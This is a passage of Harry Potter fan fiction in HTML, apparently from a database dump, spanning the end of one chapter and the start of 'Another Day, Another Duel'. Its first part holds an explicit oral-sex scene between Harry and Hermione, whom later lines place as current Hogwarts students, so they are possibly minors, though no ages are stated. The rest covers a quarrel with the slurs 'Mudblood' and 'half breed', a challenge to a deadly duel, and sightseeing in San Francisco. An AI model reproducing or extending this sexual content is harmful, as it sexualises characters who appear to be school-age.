nose.&nbsp; His\nfingers danced along her cheek, a devious grin found its was upon Harry&#8217;s lips.\nHe tickled her cheek with a gentle finger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,&#8221;\nHe said gently, &#8220;It&#8217;s time to get up.&#8221;&nbsp;\nHe tickled her cheek again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nswatted at the tickling sensation, it only stopped for a moment but then\ncontinued. She vaguely heard the gentle voice telling her to wake up, she\nswatted at the tickling sensation again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione&#8221;\nHarry continued tickling her cheek, he didn&#8217;t want to rush her to wake up, it\nwas fun watching her swat at him and miss.&nbsp;\n<i style="mso-bidi-font-style:normal">She probably thinks it&#8217;s going to\ngo away </i>he thought to himself trying to stifle his laugh as he continued.\n&#8220;Hermione, Hermione.&#8221; He said repeating her name softly, over and over again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ngroaned and pulled the blanked over her head to block out the sounds and\nwhatever it was that kept tickling her cheek.&nbsp;\nShe felt a tugging on the blanket and her eyes slowly opened, she saw\nthe blanket being pulled away from her face and a pair of emerald green eyes\nlooking straight into hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione\nit&#8217;s morning, time to wake up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t wanna, I&#8217;m sleepy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nwe were up half the night you know.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow.&#8221; She said quietly looking at the clock noticing it was ten till eight,\n&#8220;Why are you up so early?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I woke\nup in a very good mood, which happens to be your doing.&#8221; There was a slight\nhint in his voice and he was sure she caught it.&nbsp; &#8220;And well I couldn&#8217;t sleep another minute\nlonger. So come on let&#8217;s get up and enjoy the day.&#8221;&nbsp; When she didn&#8217;t respond Harry noticed her\neyes starting to close again.&nbsp; &#8220;Oh yeah,\nI know a way to wake you up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nheard slight shuffling next to her after it quieted down she then felt fingers\ntracing a pattern across her tummy and down between her thighs then a pair of\nhands pulling them apart, her eyes snapped open, she pulled the blanket off of\nher.&nbsp; &#8220;Harry get back up here right now,\nI&#8217;m too sleepy for this.&#8221; She said almost pleading.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nlooked up at her with a smirk, &#8220;don&#8217;t worry you&#8217;ll be fully awake when I&#8217;m\nfinished.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nkept eye contact for a split second before looking at her at what he was\ndoing.&nbsp; He calmly, lightly started\ncaressing her, touching her ever so gently, she jumped a bit feeling his\nfingers teasing her.&nbsp; She closed her eyes\nblissfully the sensation of feeling him touching her.&nbsp; An instant later she felt her thighs being\npushed further apart. She cried out for he was there between her legs, and it\nwas his tongue now touching her, exploring over the soft, thick folds, lightly\nflicking against the tiny button hidden there.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Her hands clutched the bed sheets tightly\nwhile tiny cries, gasps and slight moans drifted from her.&nbsp; She threw her head back against the pillow\nfeeling about to reach the edge, she felt a finger push into her making her cry\nout for more, &#8220;Harry&#8221; she whimpered.&nbsp; His\nfinger then pulled away only to be replaced by an expert tongue once again only\nto push her completely over the edge, where her body was lost to any feeling\nexcept the relentless tingling throughout her.&nbsp;\nShe wasn&#8217;t even aware, didn&#8217;t even notice that he now was lying next to\nher holding her tightly, cuddling her close to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\ncould feel her heart beating against his, yet it was slowing a bit, he finally\ndecided to say something. &#8220;So, are you awake now?&#8221; He smiled slyly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked deeply into his eyes, &#8220;yes, but now all I want to do is sleep again.&#8221;\nShe smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\npicked up a pillow and smacked her with it, she laughed taking the pillow from\nhim and smacked him back with it. Hermione then and jumped out of the bed before\nhe could take the pillow from her.&nbsp; She\nstood there before him completely naked, she looked so beautiful. He felt that\nfamiliar stirring between his legs once again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright\nHarry I am awake now.&#8221; She smiled looking down at him, &#8220;I think I&#8217;m in need of\na shower.&nbsp; She bent down and picked up\nher shirt and put it on then she slipped on her jeans not bothering to button\nthem, she then picked up her brassier and her panties holding them tightly in\nher hand. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwatched her flip her tousled, yet strikingly beautiful hair over her shoulder\nbefore their eyes met.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI&#8217;m just gonna pop over to my room and grab some fresh clothes and head to the\nshower.&nbsp; With a warm smile Hermione\nleaned over giving Harry a quick kiss, she stood straight and turned towards\nthe door, she smiled back at him before she was gone out the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Sighing\nhe laid back down on his bed, he couldn&#8217;t stop thinking about her.&nbsp; <i style="mso-bidi-font-style:normal">Man,\nshe was becoming some kind of obsession, but a good obsession at that</i>. He\nthought with a smirk to himself.&nbsp; The way\nshe felt, looked, smelled, tasted. He would never be able to get enough of her\nall together.&nbsp; He stood walking to the\ndresser and pulled out the clothing items for today and started putting them\non.&nbsp; After he was done dressing he left\nthe room.&nbsp; He looked over at the bathroom\ndoor, then looked at the stairs.&nbsp; Who was\nhe kidding? He wanted her all over again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; Instead of going down the stairs he went to\nthe bathroom door and banged on it.&nbsp; A\nfew seconds later the door opened and Hermione stood there wrapped in a gray\ntowel, her hair only slightly damp, she must have just gotten in.&nbsp; He could see the droplets of water caressing\nthe skin on her shoulders.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry\nis something wrong, why were you banging on the door as if there was an emergency?&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnoticed she looked concerned not angry, &#8220;well I just missed you.&#8221; He looked\ndown at the floor noticing her toe nails were painted a dainty rose color. He\nlooked back up at her, staring into her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ntried not to grin so widely, &#8220;Harry I just left you less than three minuets\nago, how can you miss me already?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nshrugged, &#8220;I don&#8217;t know I just do.&#8221; He lifted his hand lightly tracing the\nwater droplets on her shoulder with his finger making a pattern.&nbsp; &#8220;I&#8217;m sure it&#8217;s awfully lonely in there, are\nyou sure you don&#8217;t need some company?&#8221; He met her gaze.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;At\nthis rate you&#8217;re gonna get tired of me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nshook his head, &#8220;nope, that&#8217;s never gonna happen.&#8221; He smiled brightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As\nthe two of them were staring at each other Ron came out of his room, he noticed\nthe two of them, Hermione was wrapped in a towel and they were talking\nquietly.&nbsp; He saw Hermione grab Harry by\nthe front of his shirt and pull him into the bathroom closing the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nstared at the bathroom door as Zara came up behind him, she tapped him on the\nshoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;What&#8217;s up Ron?&#8221;&nbsp; Zara stared into his eyes as if trying to\nread his thoughts.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\ngave a small smirk, &#8220;If all goes well Harry will be.&#8221; He let out a chuckle\npointing to the bathroom door telling her that both Harry and Hermione were in\nthe bathroom together.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nshook her head back and forth a smile crossed her lips, &#8220;you are hopeless\nRonald Weasley, but I love yah for it.&#8221; She smirked crinkling her nose.&nbsp; Zara grabbed Ron by the arm and pulled him\ndown stairs and they headed to breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=====</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Ah, love is all around us\n*sigh* Anyway stay tuned for Chapter 15-- Another Day, Another Duel.</p>\n\n\n\n\n\n\n'),
	(41, 15, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: Alright all the\nHarry Potter characters belong to J.K. Rowlings, except for the plot, Zara,\nJewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and\nOrvin.&nbsp; Those are mine. So please don&#8217;t\nsue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n15&#8212;Another Day, Another Duel</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione came into the\ndinning room, Ron looked up from his breakfast grinning, a very wide and very\nannoying grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; Harry and Hermione asked\nat the same time.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing, nothing at all.&#8221; Ron\nsaid returning to his scrambled eggs.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Have fun last night?&#8221; Zara looked up at them\nwith a smirk of her own.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione&#8217;s faces\nflushed, they both looked at each other with the same expression mirrored in\neach other&#8217;s gaze. <i style="mso-bidi-font-style:normal">They know.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe if you two weren&#8217;t so loud\nwe wouldn&#8217;t be having this conversation.&#8221; Ron smirked again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Harry and Hermione looked at him,\nglaring.&nbsp; &#8220;Sod off Ron.&#8221; They said in\nunison.&nbsp; They both looked at each other\nand immediately broke into laughter.&nbsp;\nThey sat down to enjoy their breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara was helping herself to some\nscrambled eggs when she looked at Harry and Hermione with a dreamy expression\non her face. Knowing that they were truly in love, she was just so happy for\nthem.&nbsp; She immediately shook her head\ncoming back to reality.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well today is going to be fun,\nI&#8217;m going to take you three to pier thirty nine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Pier thirty nine?&#8221; Harry asked as\nhe poured some cranberry juice into his cup.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara nodded &#8220;Yep, it&#8217;s a muggle\ntourist trap.&nbsp; But I love going there\njust the same, also there is the Koit tower to see if you want.&nbsp; It&#8217;s a really beautiful view of the almost the\nwhole city, and it&#8217;s a very clear day so it would be an excellent time to see\nthe tower.&#8221;&nbsp; She smiled at her friends\nthen continued with her breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Crystal\nwalked into the kitchen holding a stack of papers, she took a glass off the\ntable and poured herself some orange juice.&nbsp;\nShe looked up at her daughter, &#8220;Zara I need your help at the club before\nyou leave for your activities today.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara put a piece of ham into her\nmouth nodding, she wiped her mouth with the napkin. &#8220;Certainly, but what about\nCandice?&nbsp; Isn&#8217;t that what you&#8217;re paying\nher for?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, but as you know there are\njust some things&#8221; She put an emphasis on the word things, &#8220;that Candice can not\nknow how to get into.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure Ma, we&#8217;ll be there after\nbreakfast.&#8221; Zara smiled up at her mother.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Crystal\ngave a small nod then looked at Zara&#8217;s friends, &#8220;well have a good\nbreakfast.&#8221;&nbsp; And she turned and walked\nout of the room. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After breakfast was over Zara,\nRon, Harry and Hermione found themselves at the club.&nbsp; Zara was at the computer putting information into\na secret file concerning money and she really didn&#8217;t want to go to the bank to\nput money into the accounts so she told Ron she was doing online banking which\nwas a lot easier and faster then doing it at the bank.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron very interested in what online\nbanking was sat next to Zara watching the screen, the internet was explained to\nRon and he so wanted to try using it.&nbsp; He\nmight never be able to use it again.&nbsp; She\nsmiled at him, promising him that before their trip was over he would have a\nshot on the internet, and that she would introduce him to some of her friends\nshe had met in chat groups and message forums.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I never knew Muggles were so\nclever, to be able to talk to people on the other side of the world is\ncompletely astounding.&nbsp; They sure do a\nlot without the use of magic.&#8221;&nbsp; He now\nknew why his father was so bent on muggle rights and inventions.&nbsp; But he wouldn&#8217;t become obsessed with it like\nhis father had become.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Guido came into the office with a\nsmile, &#8220;Hey Zara would you and your friends like something to drink, you guys\nhave been here a few hours.&#8221; He asked with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They all nodded and Zara finished\nup on the computer, she stood and stretched her arms up way over her head.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, that would be great.&#8221; Zara\nsaid and they all left the office following Guido to the bar area where he\nturned on the tap, he offered them cola or lemon lime soda, they could have\njuice too if they wanted.&nbsp; After getting\nthe approved beverages they sat at the bar and drank the choices slowly.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As they were drinking, the back\ndoor opened and Candice walked it, with her oh so normal snobbish look, as if\nto say I&#8217;m better than you know matter what you have.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Good morning all.&#8221; Candice said\ntaking a seat at the bar next to Zara.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron who was also sitting next to\nZara could feel the anger just rising from Zara as she sat there trying to\ncalmly drink her beverage.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What no welcome for me?.&#8221; Candice\nscanned their faces, she did not like feeling left out of anything.&nbsp; &#8220;Well no matter, I&#8217;m here now and that&#8217;s all\nthat&#8217;s important.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara turned with a forced smile\nupon her lips, &#8220;go away Candice, nobody wants you here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sorry Zara, I can not leave I\nhave work to do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Then why don&#8217;t you go and do it\nthen.&#8221; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice glared at Ron, &#8220;well aren&#8217;t\nwe touchy this morning.&#8221; She got off her stool and walked over to Ron who was\nsitting next to Harry, she threw her nose in the air at Ron, but gave Harry all\nher attention.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So how is Mr. Popularity this\nmorning?&#8221; Candice asked with a smile trying to capture his gaze.&nbsp; She was very frustrated when he wouldn&#8217;t even\nlook her in the eye.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could see Hermione glaring\nat Candice out of the corner of his eye. Trying to sooth her mind Harry covered\nHermione&#8217;s hand with his.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked at him with a\nsmile, and she saw Harry look at Candice, directly in the eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;I suggest you find someone else to flirt\nwith.&#8221; Harry said, &#8220;I&#8217;m already spoken for.&#8221; And he gave Hermione&#8217;s hand a\ngentle squeeze.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice shrugged, &#8220;you don&#8217;t know\nwhat you&#8217;re missing then.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not missing anything, I have\neverything and everyone I need.&#8221; He turned to Hermione with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice had never felt so\ninadequate in her entire life, by now she would have had these guys begging at\nher feet, but they were barely acknowledging her presence.&nbsp; And she did not like that at all.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron smirked seeing the distress on\nthe young lady&#8217;s face, he turned to Harry, &#8220;this is the time when you&#8217;re\nsuppose to kiss your love Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sipped from her glass\nthen sat it down back on the bar, &#8220;oh he doesn&#8217;t need any excuse to&#8212; &#8221; She was\ncut off as Harry&#8217;s mouth was now on hers in a powerful, deep kiss.&nbsp; Their arms found their way around each\nother.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice rolled her eyes at seeing\nthe passionate interplay between those two and stepped away from them, she\nwalked back over to where Zara was.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You think you&#8217;re so perfect Zara,\nyou and your little friends.&#8221; Candice was bitter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara looked at Candice like she\nhad grown another nose, &#8220;what are you talking about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But you and I both know what you\nreally are.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara stood her hands planting\nfirmly on her hips &#8220;and what am I Candice?&#8221; She was trying to control her\nanger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing but trash Zara, that&#8217;s\nwhat you are.&nbsp; Even your father knew\nthat, that&#8217;s why he never came to see you.&nbsp;\nHe doesn&#8217;t want anything to do with you or your Mudblood mother you half\nbreed.&nbsp; He screwed her good and left her\npregnant.&nbsp; You were just a mistake, one\nhe didn&#8217;t want to deal with.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron abruptly stood knowing what\nZara&#8217;s reaction would be; every time Hermione was insulted like that Ron would\nalways jump to her defense. Now it&#8217;s true that Zara wasn&#8217;t muggle born she was\nat least a half blood, but he knew the comment still hurt.&nbsp; He put a hand on Zara&#8217;s shoulder he could\nfeel her shaking with fury.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her arms fell to their sides,\nwhere her fists clinched hard and her knuckles turning white. &#8220;How dare you\ntalk about my family, when yours consists of a bunch of freakin&#8217; Death Eaters.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Candice was completely furious at\nthat remark, &#8220;take that back.&#8221; She said through clenched teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The truth hurts doesn&#8217;t it\nCandice?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How dare you!&nbsp; You have insulted me and my family.&nbsp; I challenge you to a witches duel.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you stupid or something?&nbsp; You couldn&#8217;t beat me in the dueling club at\nschool, what makes you think you could do it with your life at risk?&#8221; Zara\ntilted her head still glaring at Candice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s the matter Zara, is the\npampered British life making you soft, are you refusing my challenge?&#8221; There\nwas amusement in her tone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;I&#8217;m not soft Candice, fine I accept your\nchallenge.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Meet me at Elius Boarderus Road\nby the old mill at midnight tonight, there we&#8217;ll settle this.&#8221; She turned to\nwalk up the stairs to the office then spun around, her blonde hair whipping\nharshly behind her.&nbsp; &#8220;And remember to bring\nyour second, someone to take your place when I kill you.&#8221; And with that she\ndisappeared into the office.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara have you gone mad, why did\nyou just accept that challenge? It&#8217;s illegal to use magic off of Hogwarts\ngrounds.&#8221;&nbsp; Hermione replied</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not here it isn&#8217;t, the American\nBureau of Magic does not prohibit dueling.&nbsp;\nThey think it&#8217;s a way for us to build up our defenses in case\nYou&#8212;Know&#8212;Who should make an appearance here. I know he wants European domination\nat the moment, but his forces are forming here now as well.&nbsp; We need to keep on full alert and protect\nourselves.&#8221;&nbsp; Zara lifting her wrist,\nglancing down at her watch.&nbsp; It was getting\nit was already a quarter after twelve. &#8220;Well we should get going if you wanna\nsee the sites of muggle San Francisco, it gets really crowded and then we won&#8217;t\nfind a good parking place.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They left the club and headed\ntowards the tourist sites of San Francisco they went to a hidden wizard bank\nand exchanged their money for American muggle dollars.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a visit to the Koit Tower,\nthey made their way to pier thirty nine which was quite an experience. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The smells of seafood cooking\nfilled the air with a wonderful aroma, yes there was no other place like it in\nthe world. The crowds of many tourists also flooded the pier with their loved\nones and friends.&nbsp; Ron had bought his\nsister a pink muggle t-shirt with a small picture of a sunset over the pier and\nthe words San Francisco were written in lavender with an elegant cursive script.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They looked out on the ocean and they\ncould see that muggle prison Alcatraz way out there in the middle of the cold\nlooking water.&nbsp; The large prison sat on a\nrocky cliff.&nbsp; It was said to be\nimpossible to escape from, and it was.&nbsp;\nZara told them that the prison housed the most notorious criminals\nduring the nineteen thirties and forties; it wasn&#8217;t in use any more. But you\ncould take a tour of the famous prison. Unfortunately the tours weren&#8217;t running\nat that time of day.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at the prison and\nimmediately thought of Azkaban, and how Sirius was doing this holiday season.\n(A/N: Hmm? Do you think Rowling&#8217;s had Alcatraz in mind when she thought of the\nwizard prison Azkaban? Well it&#8217;s just a thought.) He knew Sirius was expecting\nhim to come home, but was sure Sirius understood that he wanted to spend time\nwith his friends and see a different culture since he never got to travel\nanywhere before.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Also wondering what it was like\nfor Sirius being in a prison like that? Kept away from everything he loved, he\nnever even committed the crime.&nbsp; A great\npart of his life had been wasted and he would never be able to get it back.</p>\n\n<p class="MsoNormal" 